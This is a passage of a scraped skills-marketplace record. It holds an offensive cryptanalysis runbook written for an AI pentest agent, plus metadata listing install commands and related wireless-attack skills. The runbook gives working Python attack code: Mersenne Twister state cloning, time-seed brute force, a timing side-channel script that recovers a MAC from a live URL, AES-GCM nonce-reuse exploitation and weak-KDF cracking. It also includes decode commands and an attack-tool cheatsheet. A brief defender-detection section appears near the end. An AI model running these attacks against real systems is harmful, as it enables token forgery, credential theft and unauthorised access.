+ index), None)\n    state = (3, tuple(mt_state + [624]), None)\n    cloned = random.Random()\n    cloned.setstate(state)\n    return cloned\n\n# Predict all future outputs\ncloned_rng = clone_mt19937(observed_outputs)\nnext_token = cloned_rng.getrandbits(32)\n```\n\nExploit time-seeded PRNGs by narrowing the seed window:\n\n```python\nimport random\nimport time\n\ndef brute_force_time_seed(known_output, time_window_start, time_window_end):\n    \"\"\"Recover the seed when random.seed() was called with int(time.time()).\"\"\"\n    for seed in range(int(time_window_start), int(time_window_end)):\n        rng = random.Random(seed)\n        if rng.getrandbits(32) == known_output:\n            return seed\n    return None\n```\n\n### Timing Side-Channel Attacks\n\nTiming attacks exploit data-dependent execution time in cryptographic comparisons. The classic target is byte-by-byte string comparison of MACs, tokens, or passwords.\n\n```python\nimport requests\nimport time\nimport statistics\n\ndef timing_attack_mac(url, known_prefix, charset, samples=20):\n    \"\"\"Recover a MAC byte-by-byte via timing side-channel.\"\"\"\n    best_byte = None\n    best_time = 0\n\n    for candidate in charset:\n        test_mac = known_prefix + candidate + \"\\x00\" * (32 - len(known_prefix) - 1)\n        times = []\n        for _ in range(samples):\n            start = time.perf_counter_ns()\n            requests.get(url, params={\"mac\": test_mac})\n            elapsed = time.perf_counter_ns() - start\n            times.append(elapsed)\n\n        median = statistics.median(times)\n        if median > best_time:\n            best_time = median\n            best_byte = candidate\n\n    return known_prefix + best_byte\n\n# Statistical enhancement: use percentile comparison to reduce noise\n# Network jitter requires 50-100+ samples per candidate in practice\n```\n\n### AES-GCM Nonce Reuse\n\nAES-GCM nonce reuse is catastrophic. Reusing a nonce with the same key allows recovery of the authentication key (GHASH key H) and enables both decryption of XOR'd plaintexts and forgery of authentication tags.\n\n```python\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.number import long_to_bytes, bytes_to_long\n\ndef exploit_gcm_nonce_reuse(ct1, tag1, aad1, ct2, tag2, aad2, nonce):\n    \"\"\"\n    Given two ciphertexts encrypted under the same key and nonce,\n    recover the GHASH key H and forge tags for arbitrary messages.\n    XOR of ciphertexts yields XOR of plaintexts.\n    \"\"\"\n    # Recover plaintext XOR\n    xor_plaintexts = bytes(a ^ b for a, b in zip(ct1, ct2))\n\n    # Recover GHASH key H from the tag polynomial relationship\n    # tag1 = GHASH(H, aad1, ct1) XOR E(K, nonce||0^31||1)\n    # tag2 = GHASH(H, aad2, ct2) XOR E(K, nonce||0^31||1)\n    # tag1 XOR tag2 = GHASH(H, aad1, ct1) XOR GHASH(H, aad2, ct2)\n    # This yields a polynomial in H over GF(2^128)\n\n    # The polynomial root gives H; use SageMath or a GF(2^128) library\n    # for the actual field arithmetic\n    print(f\"Plaintext XOR: {xor_plaintexts.hex()}\")\n    print(\"Solve the GHASH polynomial in GF(2^128) to recover H\")\n    return xor_plaintexts\n```\n\n### Key Derivation Weaknesses\n\nTarget password-based key derivation with insufficient work factors:\n\n```python\nimport hashlib\n\n# Weak KDF: single SHA-256 iteration, no salt\ndef crack_weak_kdf(target_key_hex, wordlist_path):\n    \"\"\"Crack a key derived via single-pass SHA-256 of a password.\"\"\"\n    target = bytes.fromhex(target_key_hex)\n    with open(wordlist_path, 'r') as f:\n        for word in f:\n            word = word.strip()\n            derived = hashlib.sha256(word.encode()).digest()\n            if derived == target:\n                return word\n    return None\n\n# Detect weak PBKDF2 iteration counts\ndef check_pbkdf2_strength(iterations, algorithm=\"sha256\"):\n    \"\"\"Flag insufficient PBKDF2 parameters per OWASP 2024 guidance.\"\"\"\n    minimums = {\n        \"sha1\": 1_300_000,\n        \"sha256\": 600_000,\n        \"sha512\": 210_000,\n    }\n    minimum = minimums.get(algorithm, 600_000)\n    if iterations \u003C minimum:\n        print(f\"WEAK: {iterations} iterations of PBKDF2-{algorithm}\")\n        print(f\"Minimum recommended: {minimum}\")\n        return False\n    return True\n```\n\n## Planned MCP Tool (not yet implemented)\n\nA structured `crypto_decode` MCP tool is planned but **not yet implemented** in\nthe current runtime. Do not attempt to call it — it will not resolve.\n\nIntended interface (for future reference):\n\n```python\n# raptix\u002Ftools\u002Fcrypto\u002Fdecode.py — PLANNED, NOT IMPLEMENTED\ndef crypto_decode(ciphertext: str, hint: str = None, timeout: int = 30) -> dict:\n    \"\"\"Try ares first (fast), fallback to ciphey, return best decode.\"\"\"\n    ...\n```\n\nUntil that lands, run the same logic through bash:\n\n```bash\n# Direct invocation via bash tool\nares -t \"$CIPHERTEXT\" --language en 2>\u002Fdev\u002Fnull || ciphey -t \"$CIPHERTEXT\"\n```\n\nRecord the decode result in the engagement knowledge graph via the standard\n`decoded:\u003Chash> → plaintext \u003Cresult> via \u003Cchain>` line in your findings file —\nthe auto-ingest pipeline picks it up from there.\n\n## Severity\n\n| Decoded content | Severity |\n|---|---|\n| Plaintext password | Critical (depends on user role) |\n| API key \u002F private key | Critical |\n| Internal hostname \u002F IP | Medium |\n| Session token | High-Critical |\n| Encryption key | Critical |\n\n## Detection \u002F Defender View\n\nDefenders should monitor for the following indicators of cryptographic attacks:\n\n- **Padding oracle probing**: High volumes of requests to the same endpoint with incrementally modified ciphertext parameters. Look for request patterns where a single byte changes across hundreds of sequential requests. Alert on endpoints returning binary pass\u002Ffail for encrypted input.\n- **ECB detection probing**: Requests containing long runs of repeated characters (16+ identical bytes) submitted to encryption endpoints.\n- **Hash length extension**: URL parameters or cookies containing null bytes (`%00`) in positions that should be printable text. Message bodies that are longer than expected with padding artifacts.\n- **RSA parameter harvesting**: Repeated requests for public key endpoints, certificate downloads, or TLS handshake enumeration.\n- **Timing attacks**: Unusual request patterns with high concurrency to authentication or MAC verification endpoints. Statistical analysis of response time distributions showing stepped patterns.\n- **Nonce reuse**: Monitor encryption operations for counter resets or nonce collisions. Implement nonce-misuse-resistant AEAD modes (AES-GCM-SIV, XChaCha20-Poly1305) as defense in depth.\n\nRemediation priorities: migrate from CBC to authenticated encryption (AES-GCM, ChaCha20-Poly1305), use HMAC instead of `H(secret||message)`, enforce minimum 2048-bit RSA keys with OAEP padding, use cryptographically secure RNGs (`secrets` module, `\u002Fdev\u002Furandom`), implement constant-time comparison for all secret values, and enforce OWASP-recommended PBKDF2 iteration counts or migrate to Argon2id.\n\n## Engagement Cheatsheet\n\n**Identification & decode:**\n\n| Target | Tool | First step |\n|---|---|---|\n| Unknown text | Ciphey \u002F Ares | `ares -t \"$CT\"` |\n| Unknown hash | hashid \u002F hash-identifier | `hashid -m '\u003Chash>'` |\n| Base64\u002Fhex\u002FURL | `base64 -d`, `xxd -r -p`, `python3 -c \"import urllib.parse...\"` | Try one layer at a time |\n| Nested encoding | CyberChef Magic \u002F Ciphey | Unwind iteratively |\n\n**Crypto attacks:**\n\n| Target                 | Tool \u002F Technique          | First Step                                    |\n|------------------------|---------------------------|-----------------------------------------------|\n| Encrypted cookie (CBC) | padbuster                 | Modify last byte, observe response difference |\n| Encrypted token (ECB)  | Custom Python             | Send repeated blocks, check for repetition    |\n| MAC = H(secret+msg)    | hashpumpy                 | Confirm Merkle-Damgard hash, try extensions   |\n| RSA public key         | RsaCtfTool                | Extract n and e, check key size and factors   |\n| Session token (PRNG)   | Custom Python             | Collect 624+ outputs, clone MT state          |\n| Auth endpoint          | Timing script             | Measure response time per byte position       |\n| AES-GCM encrypted API  | Custom Python \u002F SageMath  | Detect nonce reuse across captured messages   |\n| Password-derived key   | hashcat \u002F custom script   | Identify KDF, check iteration count           |\n\nCiphertext identification heuristics:\n- Length is multiple of 8 bytes: likely DES\u002F3DES in CBC\u002FECB.\n- Length is multiple of 16 bytes: likely AES in CBC\u002FECB.\n- Length is plaintext + 16 bytes (tag): likely AES-GCM.\n- Fixed-length output regardless of input: likely a hash, not encryption.\n\n## Cross-references\n\n- Upstream: https:\u002F\u002Fgithub.com\u002Fbee-san\u002FCiphey, https:\u002F\u002Fgithub.com\u002FCiphey\u002FAres\n- JWT-specific (different layer): `cryptography\u002Fweb-crypto-attacks.md`\n- AD hashes: `skills\u002Fad\u002Fdcsync\u002FSKILL.md`\n- TLS-level attacks: `cryptography\u002Ftls-attacks.md`\n\n## Key References\n\nFoundational papers:\n- Vaudenay, S. \"Security Flaws Induced by CBC Padding.\" EUROCRYPT 2002.\n- Bleichenbacher, D. \"Chosen Ciphertext Attacks Against RSA PKCS#1.\" CRYPTO 1998.\n- Duong, T. and Rizzo, J. \"Practical Padding Oracle Attacks.\" USENIX WOOT 2010.\n- Coppersmith, D. \"Small Solutions to Polynomial Equations, and Low Exponent RSA Vulnerabilities.\" J. Cryptology, 1997.\n- Joux, A. \"Authentication Failures in NIST version of GCM.\" NIST Comment, 2006.\n\nStandards:\n- CWE-327: Use of a Broken or Risky Cryptographic Algorithm.\n- CWE-328: Use of Weak Hash.\n- CWE-330: Use of Insufficiently Random Values.\n- OWASP Password Storage Cheat Sheet (PBKDF2\u002FArgon2id iteration guidance).\n\nTooling:\n- Ciphey: https:\u002F\u002Fgithub.com\u002Fbee-san\u002FCiphey\n- Ares (Rust successor): https:\u002F\u002Fgithub.com\u002FCiphey\u002FAres\n- RsaCtfTool: https:\u002F\u002Fgithub.com\u002FRsaCtfTool\u002FRsaCtfTool\n- hashcat: https:\u002F\u002Fhashcat.net\u002Fhashcat\u002F\n- John the Ripper: https:\u002F\u002Fwww.openwall.com\u002Fjohn\u002F\n- hashpumpy: https:\u002F\u002Fgithub.com\u002Fbwall\u002FHashPump\n- CyberChef: https:\u002F\u002Fgchq.github.io\u002FCyberChef\u002F\n\n## Known exemplars\n\n- CTF flag formats (90% are base64, hex, or rot-N layers)\n- Mobile reverse engineering: API keys often base64-XORed in strings\n- IoT firmware: AES-CBC w\u002F hardcoded keys recoverable via Ciphey + ghidra\n- Phishing email obfuscation: nested encoding chains common\n",{"name":5,"metadata":24,"description":7,"allowed-tools":30},{"subdomain":25,"when_to_use":26,"mitre_attack":27,"runtime_note":28,"upstream_url":29},"cryptanalysis","cipher decrypt decode base64 hex caesar rot vigenere xor unknown encoding identify ciphey ares hashid hashcat rsa RsaCtfTool small exponent hastad bleichenbacher coppersmith PRNG MT19937 mersenne time seed timing attack AES-GCM nonce reuse PBKDF2 weak KDF","T1140, T1110","Manual runbook — no MCP crypto adapter. Run Ciphey\u002FAres\u002Fhashcat\u002FRsaCtfTool\u002Fopenssl via bash tool. Hashcat and john available in Kali sandbox; Ciphey\u002FAres\u002FRsaCtfTool may need pip\u002Fcargo install on first use.","https:\u002F\u002Fgithub.com\u002Fbee-san\u002FCiphey + https:\u002F\u002Fgithub.com\u002FCiphey\u002FAres + https:\u002F\u002Fgithub.com\u002FRsaCtfTool\u002FRsaCtfTool","Bash Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fcrypto-decode-and-rsa","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":38,"prompt":48,"zipAvailable":49},[39,42,45],{"tool":40,"command":41},"npx","npx skills add Akapi895\u002Fraptix --skill crypto-decode-and-rsa",{"tool":43,"command":44},"bunx","bunx skills add Akapi895\u002Fraptix --skill crypto-decode-and-rsa",{"tool":46,"command":47},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill crypto-decode-and-rsa","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fcrypto-decode-and-rsa\u002FSKILL.md",true,[],[52,59,66,73,80,87],{"skillNo":53,"name":54,"nameZh":6,"description":55,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":56,"categories":57,"keywords":58,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":60,"name":61,"nameZh":6,"description":62,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":63,"categories":64,"keywords":65,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":67,"name":68,"nameZh":6,"description":69,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":72,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":77,"categories":78,"keywords":79,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]